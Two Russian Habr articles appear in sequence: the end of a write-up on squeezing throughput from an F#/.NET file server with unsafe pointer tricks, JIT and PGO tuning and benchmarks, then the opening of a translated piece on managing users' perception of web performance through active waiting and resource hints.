let mutable res: char array = Unsafe.As &s
let ref =
&MemoryMarshal.GetArrayDataReference res
// заголовок массива это 8 байт
// заголовок строки это 4 байта
// нужно сдвинуть поинтер влево
// ещё на 2 char'a, то есть на 4 байта
for i = -2 to s.Length - 3 do
Unsafe.Add(&ref, i) <- '-'
printfn "%s" s
Assert.AreEqual("-----", s)
```
Тут начинается магия работы с поинтерами. Вот этот код может мутировать иммутабельное, представив string как, char[].
Сместив поинтер ещё на 4 байта влево, можно читать и редактировать заголовок, изменяя длину строки. В этом примере я изменил содержимое строки.
Больше можно не заморачиваться с voidptr’ами и intptr’ами. К тому же — такой способ просто быстрее, чем использование fixed. Так вот, к чему я это?
Закатываем всё в один массив
----------------------------
Линия кэша скайлейков — 64 байта, 64 байта можно загрузить в кэш за один поход в оперативную память. Как только мы обработаем загруженные данные — к тому времени префетчер уже начнёт загружать следующие. Всё записано в строчку и читается очень быстро.
Давайте представим себе, что первые 8 байт массива это long обозначающий длину заголовка Content-Encoding, последующие N+1 байт — это длина заголовка Content-Type, следующие за ними N+1 байты это Content-Length и массив байтов за ним это байты файла lenna.webp. Как на картине.
```
let enc = UTF8Encoding false
[]
type LongBytes =
{ A: byte
B: byte
C: byte
D: byte
E: byte
F: byte
G: byte
H: byte }
let inlineFileBytes =
fun f ->
let mimeBytes =
extractMime f |> enc.GetBytes
let mutable mimeBytesLongLength =
mimeBytes.LongLength
let mimeLen: LongBytes =
Unsafe.As(&mimeBytesLongLength)
let encodingBytes = "none" |> enc.GetBytes
let mutable mimeBytesLongLength =
encodingBytes.LongLength
let encLen: LongBytes =
Unsafe.As(&mimeBytesLongLength)
let mutable fileBytes = File.ReadAllBytes f
let mutable fileBytesLongLength =
fileBytes.LongLength
let fileLen: LongBytes =
Unsafe.As(&fileBytesLongLength)
[| [| mimeLen.A
mimeLen.B
mimeLen.C
mimeLen.D
mimeLen.E
mimeLen.F
mimeLen.G
mimeLen.H |]
mimeBytes
[| encLen.A
encLen.B
encLen.C
encLen.D
encLen.E
encLen.F
encLen.G
encLen.H |]
encodingBytes
[| fileLen.A
fileLen.B
fileLen.C
fileLen.D
fileLen.E
fileLen.F
fileLen.G
fileLen.H |]
fileBytes |]
|> Array.concat
|> Array.pin
```
Переинтерпретировать структуры как коллекции мы не можем, поэтому каждый байт Int64 приходится забивать вручную в конструктор массивов.
```
let file (ctx: HttpContext) (next: RequestDelegate) =
match dict.TryGetValue ctx.Request.Path.Value with
| false, _ -> next.Invoke ctx
| true, arr ->
let spanRef =
&arr.AsSpan().GetPinnableReference()
let mimeLen: int32 =
Unsafe.ReadUnaligned(&spanRef)
ctx.Response.ContentType <- enc.GetString(arr, 8, mimeLen)
let encStart = mimeLen + 8
let encLen: int32 =
Unsafe.ReadUnaligned(&Unsafe.Add(&spanRef, encStart))
ctx.Response.Headers.ContentEncoding <- enc.GetString(arr, encStart + 8, encLen)
let fileStart = encStart + encLen + 8
let mutable fileSize: int64 =
Unsafe.ReadUnaligned(&Unsafe.Add(&spanRef, fileStart))
ctx.Response.ContentLength <- fileSize
ctx.Response.Body.WriteAsync(arr, fileStart + 8, Unsafe.As(&fileSize))
```
Чтение происходит в том же порядке, как мы это массив и строили. Читаем первые 8 байт как длину заголовка и так далее, как на картинке выше.
Тестирование показало, что в массив лучше помещать long, а читать его как int, так быстрее, поэтому так и оставил.
Что ещё интересно, на этом этапе Jit встроил буквально все вызовы прямо в функцию. ASM функции теперь представляет из себя длинное полотно длиной в 7030 байт. 175 встроенных вызовов. Вот это действительно серьёзно.
**Статистика Jit**
```
; Assembly listing for method Files:file(HttpContext,RequestDelegate):Task
; Emitting BLENDED_CODE for X64 CPU with AVX - Windows
; Tier-1 compilation
; optimized code
; optimized using profile data
; rsp based frame
; fully interruptible
; with Dynamic PGO: edge weights are invalid, and fgCalledCount is 63369
; 63 inlinees with PGO data; 109 single block inlinees; 3 inlinees without PGO data
......
; Total bytes of code 7030
```
RPS увеличился ещё на 179.44, до 28706.99. Даже BenchmarkDotnet показывает улучшение.
```
| Method | Mean | Error | StdDev | CacheMisses/Op | BranchMispredictions/Op | LLCReference/Op |
|------------------------- |----------:|---------:|---------:|---------------:|------------------------:|----------------:|
| Base | 170.10 us | 1.328 us | 1.243 us | 141 | 328 | 18,083 |
| InMemory | 51.67 us | 1.028 us | 1.142 us | 101 | 193 | 16,888 |
| Tables | 51.56 us | 0.931 us | 0.870 us | 101 | 185 | 16,119 |
| Tables_WithoutInterfaces | 52.04 us | 0.640 us | 0.599 us | 108 | 175 | 16,251 |
| Tables_Task | 51.40 us | 0.757 us | 0.708 us | 114 | 190 | 16,730 |
| Tables_TaskNoAlloc | 50.95 us | 0.614 us | 0.575 us | 105 | 184 | 16,423 |
| Tables_Middleware | 48.95 us | 0.977 us | 1.045 us | 109 | 181 | 16,031 |
| InlineEverything | 49.97 us | 0.752 us | 0.666 us | 98 | 190 | 15,784 |
```
Закатываем всё в один массив v2
-------------------------------
Брать всё из одного места это быстро. Однако, при декодировании строк из байтов мы каждый раз создаём новую строку. Возможно, поэтому пропускная способность не увеличилась.
Давайте представим себе, что первые два байта массива это энумы, указывающие на Content-Encoding, и Content-Type, а байты с индексами 2 по 10 это long, обозначающий длину контента. Все индексы мы знаем заранее, они будут вкомпилены в функцию.
```
let file (ctx: HttpContext) (next: RequestDelegate) =
match dict.TryGetValue ctx.Request.Path.Value with
| false, _ -> next.Invoke ctx
| true, arr ->
ctx.Response.ContentType <- Unsafe.As &arr.[0] |> ContentType.toString
ctx.Response.Headers.ContentEncoding <-
Unsafe.As &arr.[1]
|> ContentEncoding.toStringValues
ctx.Response.ContentLength <- (Unsafe.As &arr.[2]: int64)
ctx.Response.Body.WriteAsync(arr, 10, Unsafe.As &arr.[2])
```
Получился очень лаконичный код. Лаконичность так же отразилась и на производительности. Тело вызова после рефакторинга похудело на 1904 байт, до 5126 байт.
**Статистика Jit после**
```
; Assembly listing for method Files:file(HttpContext,RequestDelegate):Task
; Emitting BLENDED_CODE for X64 CPU with AVX - Windows
; Tier-1 compilation
; optimized code
; optimized using profile data
; rsp based frame
; fully interruptible
; with Dynamic PGO: edge weights are invalid, and fgCalledCount is 83072
; 49 inlinees with PGO data; 96 single block inlinees; 3 inlinees without PGO data
......
; Total bytes of code 5126
```
RPS не увеличился, но скорость раздачи в один поток выросла на 26МБ/с, а в 125 потоков на 15МБ/с, что в общем счёте даёт нам 621,72МБ/с в один поток и 5,85ГБ/с в 125 потоков, а это без малого 5 и 46,8 гигабит в секунду соответственно.
BanchmarkDotnet показывает, что такой код, увы, менее дружелюбен к железу.
```
| Method | Mean | Error | StdDev | CacheMisses/Op | BranchMispredictions/Op | LLCReference/Op |
|------------------------- |----------:|---------:|---------:|---------------:|------------------------:|----------------:|
| Base | 170.10 us | 1.328 us | 1.243 us | 141 | 328 | 18,083 |
| InMemory | 51.67 us | 1.028 us | 1.142 us | 101 | 193 | 16,888 |
| Tables | 51.56 us | 0.931 us | 0.870 us | 101 | 185 | 16,119 |
| Tables_WithoutInterfaces | 52.04 us | 0.640 us | 0.599 us | 108 | 175 | 16,251 |
| Tables_Task | 51.40 us | 0.757 us | 0.708 us | 114 | 190 | 16,730 |
| Tables_TaskNoAlloc | 50.95 us | 0.614 us | 0.575 us | 105 | 184 | 16,423 |
| Tables_Middleware | 48.95 us | 0.977 us | 1.045 us | 109 | 181 | 16,031 |
| InlineEverything | 49.97 us | 0.752 us | 0.666 us | 98 | 190 | 15,784 |
| FsharpFinal | 48.85 us | 0.966 us | 2.405 us | 120 | 205 | 16,394 |
```
Порт на C#
----------
Эквивалентный код на F# и C#, как правило, компилят в один и тот же IL. Все оптимизации, которые я привёл, хорошо лягут и на наш C# проект, но есть различия.
В F#, Unsafe.As даёт возможность небезопасно кастить любую область памяти во что угодно и работать с ней как с любым типом. C# такие выкрутасы делать не даёт.
Unsafe.As был придуман для анбоксинга и в теории, должен работать только с референс тайпами, однако, об этом знает C# компилятор, F# этого не знает, поэтому работает с любой памятью так, как ты захочешь.
Работа с поинтерами тоже различается, Unsafe.Add в C# сдвигает поинтер на sizeof<’T>, где ‘T это тип, который указал пользователь.
F# манипулирует поинтерами как до переинтерпретации, сдвигая поинтер на sizeof<’T>, где ‘T это оригинальный тип элемента массива, различия как на картинке.
На этом различия между языками не заканчиваются, но это то, с чем я столкнулся, пока портировал.
ASM, который я получил в порте, на 208 байт длиннее, чем на F#. C# не даёт писать самый оптимальный код, поэтому производительность, ожидаемо, меньше.
В один поток, порт медленнее на 20МБ/с, и на 29МБ/с в 125 потоков. То есть версия на C# медленнее на 160 и 232 мегабит соответственно.
```
| Method | Mean | Error | StdDev | CacheMisses/Op | BranchMispredictions/Op | LLCReference/Op |
|------------------------- |----------:|---------:|---------:|---------------:|------------------------:|----------------:|
| Base | 170.10 us | 1.328 us | 1.243 us | 141 | 328 | 18,083 |
| InMemory | 51.67 us | 1.028 us | 1.142 us | 101 | 193 | 16,888 |
| Tables | 51.56 us | 0.931 us | 0.870 us | 101 | 185 | 16,119 |
| Tables_WithoutInterfaces | 52.04 us | 0.640 us | 0.599 us | 108 | 175 | 16,251 |
| Tables_Task | 51.40 us | 0.757 us | 0.708 us | 114 | 190 | 16,730 |
| Tables_TaskNoAlloc | 50.95 us | 0.614 us | 0.575 us | 105 | 184 | 16,423 |
| Tables_Middleware | 48.95 us | 0.977 us | 1.045 us | 109 | 181 | 16,031 |
| InlineEverything | 49.97 us | 0.752 us | 0.666 us | 98 | 190 | 15,784 |
| FsharpFinal | 48.85 us | 0.966 us | 2.405 us | 120 | 205 | 16,394 |
| CsharpFinal | 49.45 us | 0.985 us | 1.590 us | 112 | 189 | 16,469 |
```
FULL PGO
--------
Пока я занимался фундаментальными оптимизациями, я подло утаивал от вас секретную, быструю и надёжную оптимизацию, без которой мои результаты выглядят не так впечатляюще.
Эта штука, на основе данных с рантайма, умеет переставлять if/else и свитчи переставлять вызовы местами.
Функции сначала компилируется tier0 — неоптимизированный код со счётчиками для сбора профиля, а потом компилируется tier1, оптимизированный по профилю код.
```
DOTNET_ReadyToRun=0
```
Ready to run это форма ahead of time компиляции, ASM метода компилится заранее и не подлежит перекомпиляции Jit'ом.
Перекомпиляцию R2R метода на основе профиля хотят добавить в будущих версиях дотнета, а пока, R2R ради производительности нужно отключать.
```
DOTNET_TC_QuickJitForLoops=1
```
Циклы сразу компилируются в tier1. Чтобы оптимизировать циклы по профилю, нужно сначала компилировать их в tier0, отключить оптимизацию.
```
DOTNET_TieredPGO=1
```
Ну и включаем сам Profile Guided Optimization.
По отдельности — эти оптимизации не дают особо большого прироста, но вместе показывают значительные цифры.
Я отключил оптимизацию и прогнал бенчмарк ещё раз. Задержки увеличились, стало больше промахов в кэш и меньше правильных предсказаний ветвлений.
```
| Method | Mean | Error | StdDev | CacheMisses/Op | BranchMispredictions/Op | LLCReference/Op |
|------------------------- |----------:|---------:|---------:|---------------:|------------------------:|----------------:|
| Base | 184.60 us | 2.295 us | 2.147 us | 222 | 497 | 20,967 |
| InMemory | 56.59 us | 0.803 us | 0.751 us | 127 | 241 | 17,654 |
| Tables | 56.90 us | 1.033 us | 0.966 us | 124 | 252 | 17,465 |
| Tables_WithoutInterfaces | 56.36 us | 1.096 us | 1.606 us | 146 | 273 | 18,370 |
| Tables_Task | 56.60 us | 1.094 us | 1.074 us | 149 | 269 | 17,872 |
| Tables_TaskNoAlloc | 56.04 us | 1.094 us | 1.260 us | 158 | 280 | 17,682 |
| Tables_Middleware | 55.30 us | 0.831 us | 0.778 us | 137 | 261 | 17,711 |
| InlineEverything | 54.37 us | 1.087 us | 1.627 us | 144 | 260 | 17,949 |
| FsharpFinal | 53.97 us | 1.026 us | 1.098 us | 148 | 250 | 17,646 |
| CsharpFinal | 54.08 us | 1.053 us | 1.081 us | 156 | 267 | 17,466 |
```
Тестим в продакшене
-------------------
А продакшен для нас выглядит так же, как и для наших клиентов. Мы используем свои интерфейсы и свои апишки для деплоя наших программ.
Мы пилим вторую версию API и как закончим, возможно, расскажем обо всех улучшениях.
Ну а пока она в разработке, я зашёл на [сайт RUVDS](https://ruvds.com/ru-rub), купил дефолтную конфигурацию на Windows Server 2022. Вербозный процесс закупки серверов нам не нравится, мы сделаем лучше.
[](https://ruvds.com/ru-rub)
Тестирование провёл файлами 0КБ и 3,5КБ. Это не похоже на тестирование полезной нагрузкой, но пойдёт, чтобы выяснить степень моей оптимизации.
Чтобы сеть не стала узким местом, я подбирал количество потоков так, чтобы загрузка сети не превышала 85Мбс.
Тестировать будем только стоковый файловый сервер, самую первую и самую последнюю версию оптимизации. Вот результаты:
Тестирование файлом 3,5КБ:
```
| | Потоки | Утилизация ЦП | RPS | StdDev |
|------------------|---------|:--------------|---------|---------|
| Base | 22 | 52% | 2579.06 | 455.11 |
| InlineEverything | 16 | 15% | 2984.72 | 329.30 |
| FsharpFinal | 16 | 14% | 2990.31 | 315.68 |
```
Тестирование файлом 0 байт:
```
| | Потоки | Утилизация ЦП | RPS | StdDev |
|------------------|--------|:--------------|----------|---------|
| Base | 125 | 100% | 6607.07 | 1625.44 |
| InlineEverything | 125 | 47% | 20105.82 | 2929.65 |
| FsharpFinal | 125 | 44% | 19986.56 | 2860.83 |
```
Послесловие
-----------
Вывода не будет. По большому счёту — я просто зря потратил время на оптимизацию неоптимизируемого. Лучше бы я траву на улице трогал, чесслово.
Но я узнал много нового и надеюсь, что и вы тоже узнали что-то полезное, новое, или хотя бы интересное.
> **[Telegram-канал с полезностями](https://inlnk.ru/dn6PzK) и [уютный чат](https://inlnk.ru/ZZMz0Y)**
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=oldadmin&utm_content=kak_ya_sdelal_samyj_bystryj_v_mire_fajlovyj_server) | https://habr.com/ru/post/695808/ | null | ru | null |
# Производительность как восприятие: управление восприятием
Время можно анализировать с двух разных точек зрения: объективной и психологической (субъективной). Когда мы говорим о времени, которое измеряется при помощи часов, мы говорим об **объективном времени** или *времени, измеряемом по часам*. Оно обычно отличается от времени в восприятии пользователей, ожидающих реакции на свои действия на сайте или в приложении.
> Оглавление серии «Производительность как восприятие»:
>
>
>
> * [Производительность как восприятие: восприятие времени;](https://habrahabr.ru/company/jugru/blog/343484/)
> * [Производительность как восприятие: управление восприятием;](https://habrahabr.ru/company/jugru/blog/343974/) (эта статья)
> * [Производительность как восприятие: управление терпением.](https://habrahabr.ru/company/jugru/blog/343974/)
>
В [первой части](https://habrahabr.ru/company/jugru/blog/343484/) этой статьи мы говорили об объективном времени, и обсуждали подходы к управлению им. Мы изучили, что представляют собой некоторые широко распространенные в веб-индустрии понятия, скажем, «время загрузки страницы», или время ответы системы. Мы также привели рекомендации по выбору бюджета производительности, а заодно разобрались, что делать, когда нам нужно улучшить производительность веб-сайта, или мы хотим догнать по отзывчивости сайты конкурентов. Тем не менее, учет объективного времени имеет свои сложности ввиду ограниченности технических методов такого учета.
[](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/d5c7560f-4226-4a5e-923e-15143113f46c/limits-opt.png)
*Каждый вариант учета времени имеет свои ограничения.*
В дополнение к техническим ограничениям *абсолютное* значение объективного времени имеет особенность (несмотря на то, что мы привыкли воспринимать эту величину как неотъемлемую часть того, что называем «производительность сайта»): её значение сами по себе не позволяет сказать, «быстр» ли конкретный веб-сайт. В подтверждение этих слов ниже приведены абсолютные значения времени пары веб-сайтов. Чтобы сохранить интригу, их названия и адреса закрыты, однако взгляните на цифровые значения:
[](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/8a9c3687-78bd-461a-ae40-ec297d7f33dc/ebay-amazon-stat-opt.png)
*Абсолютные значения времени этих двух веб-сайтов совершенно не впечатляют. Вы можете провести те же тесты сами, вот ссылки на замеры для сайтов [первого](http://goo.gl/6M1HjD) и [второго](http://goo.gl/yvf7sv).*
Время загрузки 12.436 секунд? Визуальное завершение через 12,2 секунды? Значения не впечатляют, не так ли? Сравнивая только эти цифры, мы можем заключить, что производительность этих веб-сайтов отчаянно нуждается в улучшении. Но можете ли вы поверить, что вот эти самые сайты в 2014 году принесли почти 89 и 19 *миллиардов* долларов дохода, соответственно? Как это может быть?
Не волнуйтесь! Просто введите `amazon.com` или `ebay.com` в адресной строке вашего браузера (да, значения времени были измерены именно на этих сайтах) и заметьте, что они отображаются намного быстрее, чем можно было бы ожидать, если смотреть только на приведенные выше цифры. Мы рассмотрим, как достичь этого, чуть ниже.
[](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/537fb0fe-fc78-4e18-bcf9-44a581fa89c4/performance-perception-opt.png)
*Производительность не связана с математикой.*
Производительность никогда выражается в миллисекундах, килобайтах или количестве запросов; она **не связана с математикой**. Производительность связан с **восприятием** и психологией.
В этой части мы рассмотрим производительность в другой перспективе:
* Что такое психологическое время?
* Как пользователи воспринимают время?
* Как мы можем управлять и влиять на это восприятие?
Психологическое время: управление восприятием
=============================================
*«**Воображение — единственное оружие в войне против реальности**» — фраза, приписываемая Чеширскому коту Льюиса Кэрролла*
Время в восприятии нашего мозга может (и обычно так и случается) отличаться от времени, которое мы измеряем при помощи часов. Восприятие и ценность времени **колеблются** в зависимости от многих факторов, включая уровень тревоги, возраст, время суток и даже культурный бэкграунд. Время, воспринимаемое нашим мозгом, называется *субъективным*, или *психологическим временем*.
Чтобы понять, как мы воспринимаем время, давайте рассмотрим некоторые из его основных свойств.
В 1927 году немецкий философ [Мартин Хайдеггер](https://plato.stanford.edu/entries/heidegger/) написал в своей книге «[Бытие и время](https://ru.wikipedia.org/wiki/%D0%91%D1%8B%D1%82%D0%B8%D0%B5_%D0%B8_%D0%B2%D1%80%D0%B5%D0%BC%D1%8F)», что «время сохраняется только как следствие событий, происходящих [в пространстве]». Согласно Хайдеггеру, время конечно, имеет начало и конец, и, в свою очередь, состоит из множества событий с их собственными началами и концами — которые составляют то, что мы называем «время». Давайте рассмотрим простое событие:
*Мысленно люди различают события, имеющие четкие начало и конец.*
Мы обозначим начало события **маркером начало события**; его же для простоты будем порой называть *маркером начала*. Момент завершения события будет, соответственно, обозначен **маркером конец события**, или маркером конца.
В дополнение к конечному характеру времени, почти любое событие может быть выражено двумя разными фазами: активной и пассивной. **Активная фаза** или **активное ожидание** характеризуется наличием сознательной деятельностью пользователя. Это может быть какая-то физическая активность или процесс чистого мышления, например, решение головоломки или поиск пути на карте. Период, в течение которого пользователь не может выбирать, что ему делать, и не может повлять на процесс (например, стояние в очереди, или ожидание любимого человека, который опаздывает на свидание), называется **пассивной фазой** или **пассивным ожиданием**. Люди склонны оценивать пассивное ожидание как более длительный период времени, чем активное, даже если временные интервалы на самом деле равны. [Исследование Якова Хорника](http://www.jstor.org/stable/2489149?seq=1#page_scan_tab_contents), а затем [обширные исследования](http://www.jstor.org/stable/171439?seq=1#page_scan_tab_contents) [Ричарда Ларсона](https://idss.mit.edu/staff/richard-larson/) (человека, получившего в MIT прозвище Доктор Очередь), показывают, что в среднем люди в состоянии пассивного ожидания переоценивают время своего нахождения в ожидании примерно на 36%.
[](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/4e875a66-c236-4a63-9e3f-2d0c47ae6f61/passive-active-wait-opt.png)
*Люди в состоянии пассивного и активного ожидания воспринимают одинаковые отрезки времени по-разному.*
Итак, два основных принципа времени, которые помогут нам дальше в этой статье, таковы:
* Каждое событие имеет маркеры начала и конца события.
* Почти каждое событие имеет активные и пассивные фазы.
Никому не нравится ждать (за исключением некоторых граничных случаев). Но когда мы говорим о *слишком* долгом ожидании, мы на самом деле имеем в виду только пассивную фазу ожидания; в большинстве случаев активная фаза ожидания вообще не принимается во внимание, из-за того, что в течении её мы заняты осмысленной деятельностью. Следовательно, чтобы управлять психологическим временем, и заставить мозг воспринимать событие как менее длительное, чем на самом деле, мы должны максимально уменьшить пассивную фазу события — как правило, путем увеличения активной фазы события. Существует множество методов для достижения этого, но большинство из них сводится к двум простым практикам: **упреждающий старт** и **раннее завершение**. Давайте рассмотрим их оба.
Упреждающий старт
=================
Техника упреждающего старта — это процесс **создания активной фазы ожидания в начале вашего события**, и как можно более долгое оттягивание момента перехода пользователя к пассивному ожиданию. Все это делается без ущерба для продолжительности исходного события. Как уже упоминалось, большинство людей не считают, что активное ожидание — как таковое ожидание вообще; следовательно, мозг пользователя воспримет упреждающий старт как смещение маркера начала события ближе к концу (к тому моменту, когда активная фаза завершена), что поможет пользователю воспринимать событие как более короткое.
Перенести активную фазу в начало можно разными способами, в т.ч. и при помощи некоторых уловок. Это даже может выглядеть как волшебство; но ваши пользователи не должны ничего узнать! Давайте посмотрим на такой процесс на примерах.
*При упреждающем старте мы начинаем с активной фазы, удерживая пользователя в ней как можно дольше, прежде чем перейти к более короткой пассивной фазе в конце.*
В 2009 году команда управления в аэропорту в Хьюстоне, штат Техас, столкнулась с [необычным типом жалобы](http://www.nytimes.com/2012/08/19/opinion/sunday/why-waiting-inline-is-torture.html). Пассажиры не были удовлетворены долгими ожиданиями получения багажа по прибытии. В связи с этим руководство аэропорта увеличило число служащих, занятых обработкой багажа. Итогом стало сокращение времени ожидания багажа до восьми минут, что было очень хорошим результатом [по сравнению с другими аэропортами США](http://awt.cbp.gov/). Удивительно, но число жалоб не уменьшилось.
Руководство изучило ситуацию, и выяснило, что, действительно, первые сумки появляются на ленте багажной карусели примерно через восемь минут. Однако пассажиры оказывались у багажной карусели всего за одну минуту. Таким образом, в среднем, пассажиры ждали семь минут, прежде чем появлялись первые сумки. Говоря в психологических терминах, активная фаза составляла всего одну минуту, а пассивное ожидание — семь минут.
Используя свои знания в области управления восприятием, руководство использовало нетривиальное решение. Они выбрали ворота прибытия, расположенные *дальше* от главного терминала, и начали выдавать сумки на самой *дальней* карусели. Это увеличило время ходьбы пассажиров до шести минут, оставив только пару минут для пассивного ожидания. В результате, несмотря на более длительную прогулку к месту выдачи багажа, пассажиры почти перестали жаловаться.
]
*Багажная карусель в аэропорту.*
Обработка багажа в аэропорту Хьюстона (как и в любом аэропорту) можно рассматривать как пример техники упреждающего запуска. С психологической точки зрения, начиная процесс обработки багажа как можно раньше, в то время, когда пассажиры находятся в активной фазе ожидания, мы «перемещаем» маркер начала события для пассажиров с реального старта (когда они покидают самолет и начинается обработка багажа) в новую (более позднюю) точку на временной шкале. Это то, что мы называем упреждающим началом: начинай работу, прежде чем пользователь это осознает.
Чтобы справиться с жалобами, команде управления аэропорта Хьюстон остался единственный способ, чтобы уменьшить пассивное ожидание (ожидание около багажной карусели) — увеличить активную фазу ожидания (заставляя пассажиров дальше и дольше идти за своим багажом). И этот подход сработал — без изменения объективного времени обработки багажа.
*Чтобы справиться с жалобами, руководители аэропортов Хьюстона увеличили активную фазу ожидания, уменьшив пассивное ожидание.*
Другой пример этой техники можно встретить в мобильном браузере Safari на iOS. Когда вы вводите URL-адрес, браузер предлагает вам страницы, используя страницы, на которых вы были, или результаты поиска из поисковой системы. В этом списке есть «часто запрашиваемые» пользователем ссылки. Не многие заметили, что, когда Safari предлагает каждый подобный вариант, он запускает предварительную загрузку такой страницы в фоновом режиме, чтобы ее можно было показать как можно быстрее после выбора из списка (включить и отключить такую предзагрузку можно в настройках мобильного Safari).
То же самое происходит, когда вы открываете ссылку в новой вкладке: пока мобильный Safari анимирует появление вкладки, он параллельно загружает страницу в фоновом режиме, так что, с точки зрения пользователя, после появления вкладки на экране, страница будет загружена и отображена почти мгновенно.
*Мобильный Safari предварительно загружает страницы, когда вы производите поиск или открываете вкладку.*
Мы можем использовать тот же метод в Интернете — например, в работе функции поиска. Предположим, что поле поиска отображается на всех страницах вашего сайта, но сама страница результатов поиска требует загрузки некоторого дополнительного функционала (сортировка, фильтрация результатов, что несет с собой загрузку некоторых дополнительных файлов библиотек с сервера). Вместо того, чтобы загружать эти файлы на каждой странице (что замедлит загрузку и увеличит трафик), где она может даже не понадобиться, мы можем загружать их только на странице результатов поиска; однако, в результате мы получим замедление загрузки страницы с результатами поиска.
Вместо этого мы можем начать предварительную загрузку требуемых библиотек, как только пользователь начнет вводить текст в поле поиска; это делается в предположении, что результаты поиска окажутся следующей страницей, которую увидит пользователь. Таким образом, необходимые библиотеки, скорее всего, будут загружена в браузер к моменту запроса пользователем результатов поиска. Вы также можете использовать эту технику, чтобы начать предварительную загрузку ресурсов на первой странице корзины покупок, или на первой странице мастера оформления покупки предварительно загрузите скрипты, которые будут использоваться на дальнейших шагах, что **сделает переход между этими страницами почти мгновенным**.
Чтобы оптимизировать производительность в браузере, [группа экспертов отрасли](https://github.com/w3c/resource-hints/graphs/contributors), возглавляемая инженером веб-производительности Google [Ильей Григориком](https://www.igvita.com/), работают над спецификацией W3C под названием «[Resource Hints](https://www.w3.org/TR/resource-hints/)» («Подсказки о ресурсах»). В конечном итоге, спецификация будет охватывать технические решения для браузеров, поддерживащих технологию упреждающего старта. Как [пишет](https://hpbn.co/primer-on-web-performance/#browser-optimization) Илья в своей книге [High Performance Browser Networking](https://hpbn.co/?utm_source=igvita&utm_medium=referral&utm_campaign=HabrahabrJUG), мы сможем «встроить дополнительные подсказки для браузера в сам документ, чтобы браузер мог узнать о дополнительной оптимизации, которые он может выполнять от нашего имени».
*Эти подсказки уже поддерживаются в [некоторых браузерах](http://caniuse.com/#search=resource%20hints).*
Все эти подсказки должны быть помещены в элемент документа, чтобы как можно скорее включить предварительную загрузку ресурсов. Давайте кратко рассмотрим некоторые подсказки:
* `dns-prefetch`
Полезна для предварительного ресолвинга (разрешения) имен доменов, которые используются далее на странице. Он также может использоваться для предварительного разрешения имен доменов, куда будет произведен дальнейший переход со страницы.
Пример:
* `preconnect`
Подсказка позволяет не только предварительно разрешать доменные имена, но и начать устанавливать связь с этими хостами. Необязательный атрибут «crossorigin» используется для [настройки запросов CORS](https://developer.mozilla.org/en-US/docs/Web/HTML/CORS_settings_attributes); Илья Григорик написал интересный комментарий по этому поводу:
*«Одно небольшое уточнение по поводу атрибута «crossorigin» для preconnect… Это не способ указать, что вам нужен «кросс-доменный сокет» — это уже видно просто по виду URL-а. Скорее, это атрибут, который контролирует политику CORS для этого сокета. Скажем, запросы шрифтов указываются так, чтобы не использовать файлы cookie, и, следовательно, вам нужно указать «crossorigin» в preconnect, чтобы указать клиенту, что он должен открыть сокет, который будет использоваться для извлечения таких ресурсов. Знаю, это немного запутанно.*»
Пример:
* `prefetch`
Подсказка имеет самый низкий приоритет и используется для предварительной выборки файлов или ресурсов, которые пригодятся для дальнейшего перемещения по сайту. Дополнительный атрибут `as` используется для оптимизации процесса выборки для указанного типа содержимого.
Например:
* `prerender`
Позволяет организовать предварительный рендеринг всей страницы со всеми файлами, относящимися к ней. Это может быть полезно, когда пользователь перемещается по веб-сайту, чтобы, при необходимости, практически мгновенно показать страницу. Разумеется, в результате подобного указания произойдет загрузка дополнительной страницы, так что следует использовать эту подсказку с осторожностью.
Например:
Для получения дополнительной информации и просмотра информации о возможных параметрах, прочтите [рабочий проект спецификации](http://www.w3.org/TR/resource-hints/). Чтобы лучше понять логику работы этих подсказок о ресурсах, и познакомиться с большим числом примеров их использования, обязательно ознакомьтесь со слайдами Ильи Григорика «[Preconnect, Prefetch, Prerender](https://goo.gl/HVkbcO)», или со статьей «[Prefetching, Preloading, Prebrowsing](https://css-tricks.com/prefetching-preloading-prebrowsing/)» автора [Robin Rendle](https://twitter.com/robinrendle) на сайте CSS-Tricks.
Кроме того, существует спецификация «[Preload](https://w3c.github.io/preload/)», объединяющая семейства подсказок ресурсов в проекте редакторов W3C. В этой спецификации предлагается подсказка «preload», внешне выглядящая почти так же, как упоминавшаяся ранее `prefetch`:
Однако между ними есть одно существенное различие: если «prefetch» имеет *наименьший* возможный приоритет и предназначен для ресурсов, которые пользователю в дальнейшем понадобятся при переходе по сайту, то «preload» предназначен для критических ресурсов, которые должны быть получены *в первую очередь*. Также обратите внимание, что `preload` заменяет подсказку [`subresource`](https://github.com/w3c/preload/issues/23), с которой вы могли столкнуться в других статьях.
Возвращаясь к методике упреждающего старта, можно суммировать её следующим образом: мы начинаем событие активной фазой и сохраняем пользователя в этой фазе как можно дольше, прежде чем переключиться на нудную пассивную фазу события.
Раннее завершение
=================
Подобно тому, как мы можем перемещать маркер начала в методе упреждающего запуска, раннее завершение перемещает маркер конца ближе к началу, давая пользователю ощущение, что процесс заканчивается быстро. При этом подходе мы открываем событие пассивной фазой, но быстро переключаем пользователя на активную фазу.
*С помощью метода раннего завершения мы начинаем с короткого пассивного ожидания и переключаемся на активную фазу как можно раньше.*
Наиболее привычное использование этого подхода в Интернете — службы видеовещания. Когда вы нажимаете кнопку воспроизведения на видео, вы не ожидаете загрузки всего видео. Воспроизведение начинается, когда браузеру становится доступен **первый минимально необходимый фрагмент видео**. Таким образом, маркер конца перемещается ближе к началу, и пользователю предоставляется активное ожидание (просмотр загруженного фрагмента), в то время как остальная часть видео загружается в фоновом режиме. Легко и эффективно.
*Службы видеовещания, такие, как YouTube, являются хорошим примером метода раннего завершения.*
Мы можем применить ту же технику при работе со временем загрузки страницы. В промежутке между запросом страницы и ее отображением в браузере пользователь ждет, никак не контролируя процесс, и не имеет другого варианта повлиять на него, кроме, разве что, закрытия вкладки. Это признаки пассивного ожидания — а люди ненавидят пассивное ожидание. Поэтому мы должны каким-то образом изменить ситуацию.
